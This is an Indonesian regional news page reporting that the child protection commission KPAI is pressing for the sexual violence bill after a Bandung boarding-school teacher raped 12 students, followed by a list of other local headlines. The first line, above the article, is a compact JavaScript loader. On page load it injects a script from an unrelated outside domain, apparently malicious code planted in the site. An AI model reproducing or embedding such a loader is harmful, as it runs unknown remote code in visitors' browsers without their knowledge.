(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Geger Guru Pesantren Perkosa Santri Di Bandung, KPAI Desak RUU TPKS Segera Disahkan


KANALKALIMANTAN.COM – Komisi Perlindungan Anak Indonesia (KPAI) mendesak pemerintah dan DPR RI untuk segera mengesahkan Rancangan Undang-Undang Tindak Pidana Kekerasan Seksual atau RUU TPKS.

Komisioner KPAI Jasra Putra mengatakan, kejadian kekerasan seksual oleh Herry Wiryawan guru pesantren di Bandung, serta beberapa kasus lain yang belum terungkap harus mendapatkan jaminan hukum dari negara.

“Selain pentingnya dorongan UU TPKS segera disahkan. Kita juga perlu mengingat bahwa beragamnya bentuk pola pengasuhan, belum semuanya diakomodir dalam regulasi yang ada, sehingga perlu payung regulasi pengasuhan setingkat UU, agar kisah kisah seperti ini bisa diminimalisir dan negara bisa berbuat lebih,” kata Jasra, Minggu (12/12/2021).

Dia meminta pihak berwenang baik dari polisi dan jaksa bisa memberikan hukum yang seberat-beratnya kepada Herry Wiryawan karena sudah memperkosa sebanyak 12 anak-anak di pesantren.

 

 

Baca juga: Expo Tabalong 2021 Berakhir, Pelaku UKM Optimis Bangkit

“Kita berharap dengan prosesnya yang sudah P21 di kejaksaan, bahwa pelaku akan segera diadili,” ucapnya.

Menurutnya kasus ini tidak hanya pidana kejahatan seksual, tetapi juga penyalahgunaan kepercayaan orang tua korban, penyalahgunaan ketika anak dalam ruang kelas, penyalahgunaan izin di beberapa hotel dengan membawa anak untuk praktek kejahatan seksual.

Hingga kasus penipuan berkedok pesantren, dan pemberian izin pembangunan pesantren, serta membujuk dan merayu orang tua untuk menyerahkan anak ke pesantren yang ternyata digunakan untuk kejahatan seksual.

“Artinya banyak yang harus diungkap aparat hukum dalam pembuktian pidana di proses peradilan,” katanya.

Selain itu, masyarakat atau korban lain yang belum bersuara atas tindakan Herry Wiryawan bisa saja melaporkan ke polisi agar memberatkan hukuman.

Baca juga: Pejambret Apes Pakai RX King di Landasan Ulin, Dikejar Korban, Berakhir Ditangan Warga

“Para orang tua korban juga bisa aktif melapor ditempatnya masing-masing ke kepolisian setempat. Agar pidananya tidak diseragamkan, karena ini terkait individu masing masing korban, yang berbeda,” imbuh Jasra. (Suara.com)

Editor: suara


Risa

Recent Posts

Modus Pinjam Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

8 menit ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

13 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

13 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

14 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

14 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

14 jam ago

This website uses cookies.